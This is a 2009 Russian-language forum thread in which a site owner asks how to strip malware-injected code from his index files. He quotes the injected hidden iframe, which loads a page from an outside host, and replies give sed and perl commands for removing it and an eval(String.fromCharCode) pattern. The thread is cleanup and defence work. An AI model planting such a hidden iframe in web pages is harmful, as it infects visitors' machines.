Помогите вырезать текст из файлов

Программирование на sh, быть может немного про альтернативные языки
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Аватара пользователя
sergio
мл. сержант
Сообщения: 79
Зарегистрирован: 2006-12-30 2:47:28
Откуда: Русь Києвська

Помогите вырезать текст из файлов

Непрочитанное сообщение sergio » 2009-07-30 21:25:26

На хостинге завелся вирусняк - дописывает в index.* свой код.

Нужен скрипт, который бы рекурсивно лазил по директориям, находил в файлах текст:

Код: Выделить всё

<iframe src="http://q0w.ru:8080/index.php" width=124 height=119 style="visibility: hidden"></iframe>
и удалял бы его.

Перепробовал уже и sed и awk и tr .
Немогу...

Третий день бюсь - не получается. Спасите. Помогите!!! :st:

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение paradox » 2009-07-30 21:35:30

может проще восстановить с бекапа сайт?

и загрузите картинку статически
а то ваши линки на киевский хостинг хромает
вообщем аватара невидно крестик

Аватара пользователя
sergio
мл. сержант
Сообщения: 79
Зарегистрирован: 2006-12-30 2:47:28
Откуда: Русь Києвська

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение sergio » 2009-07-30 21:45:26

Дык старых бекапов нет. А веник не резиновый совсем...

Видимо давно засел, а обнаружил на днях.
Антивирус clamav стоит - его не видит.
Посему и вопрос встал - файлы почистить.

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение paradox » 2009-07-30 21:55:05

ну дерзайте в написании)
но я бы обратил внимание на то что вас скорее всего похачили
займитесь секьюрити проверкой на вашем сервере

Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение f_andrey » 2009-07-30 22:04:53

sergio писал(а):Третий день бюсь - не получается. Спасите. Помогите!!! :st:
то есть за три дня вы не удосужились зайти на гугл и попробовать один из
google.com писал(а):Результаты 1 - 10 из примерно 141 000
рецептов?
Ну например вот навскидку, почти первая ссылка.

И как правильно сказал Парадокс, проверьте безопасность, не подсадили ли вам какого трояна, и не взлома ли ли хостинг :evil:
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

paix
лейтенант
Сообщения: 863
Зарегистрирован: 2007-09-24 12:41:05
Откуда: dn.ua
Контактная информация:

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение paix » 2009-07-31 0:27:10

f_andrey писал(а): Ну например вот навскидку, почти первая ссылка.
И как правильно сказал Парадокс, проверьте безопасность, не подсадили ли вам какого трояна, и не взлома ли ли хостинг :evil:
хотел написать человеку скрипт, но после прочтения ссылки такое желание отпало ;) Теже яйца, только в профиль. Сам выхватывал такую бяку несколько раз. Или подбирают пароль на фтп, или трояном крадут его с юзерской тачки, и заливают соотвествующий код.

Совет, который еще не звучал: перед удалением малваре из кода, сделать бекап данного сайта, а то мало ли ;) я однажды споткнулся.
With best wishes, Sergej Kandyla

Аватара пользователя
sergio
мл. сержант
Сообщения: 79
Зарегистрирован: 2006-12-30 2:47:28
Откуда: Русь Києвська

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение sergio » 2009-07-31 10:20:02

Спасибо за

Код: Выделить всё

perl -pi -e 's/(\<body.*?\>)<iframe src=\".*/$1/' index.html
perl -pi -e ’s/\eval\(String\.fromCharCode\(.+\//g’

Судя по всему искать в google я совершенно не умею :(

Аватара пользователя
sergio
мл. сержант
Сообщения: 79
Зарегистрирован: 2006-12-30 2:47:28
Откуда: Русь Києвська

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение sergio » 2009-07-31 18:15:48

При вставке строки

Код: Выделить всё

perl -pi -e ’s/\eval\(String\.fromCharCode\(.+\//g’
через putty символ "" заменяется на "."

Если же вместо точки напечатать "'" (апостроф) то
Substitution replacement not terminated at -e line 1.
:ROFL: :pardon:

paix
лейтенант
Сообщения: 863
Зарегистрирован: 2007-09-24 12:41:05
Откуда: dn.ua
Контактная информация:

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение paix » 2009-07-31 19:15:34

да ну, не врите. Все там работает.
With best wishes, Sergej Kandyla

Аватара пользователя
sergio
мл. сержант
Сообщения: 79
Зарегистрирован: 2006-12-30 2:47:28
Откуда: Русь Києвська

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение sergio » 2009-07-31 19:43:09

Короче нашёл вроде рабочий вариант,
если кому надо:

Код: Выделить всё

grep -lr -e '<iframe src="http://.*</iframe>' * | xargs sed -i 's/<iframe src="http:\/\/.*<\/iframe>//g'

Initiate
рядовой
Сообщения: 14
Зарегистрирован: 2009-07-20 11:56:40

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение Initiate » 2009-08-11 16:20:32

Добрый всем день, нужен совет. Нужно написать что то вроде парсера, который бы читал из одного текстового файла инфу, а затем эту инфу загонял в другой файл вида хтмл, для удобства чтения. Возможно ли такое написать на bash? Если нет, то на чём лучше?
Спасибо :)

Гость
проходил мимо

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение Гость » 2009-08-11 19:42:39

Initiate писал(а):Добрый всем день, нужен совет. Нужно написать что то вроде парсера, который бы читал из одного текстового файла инфу, а затем эту инфу загонял в другой файл вида хтмл, для удобства чтения. Возможно ли такое написать на bash?
возможно и на shell'е. Но за тебя это делать никто не будет.
лучше пиши на питоне или на лиспе. Меньше проблем будет потом с отладкой, особенно если парсируемый текста будет языком разметки.

Initiate
рядовой
Сообщения: 14
Зарегистрирован: 2009-07-20 11:56:40

Re: Помогите вырезать текст из файлов

Непрочитанное сообщение Initiate » 2009-08-11 20:51:23

Я не прошу помочь мне написать что то, а просто интересуюсь на чём это лучше сделать. Питон не знаю, но думаю выучу :) Пасиба.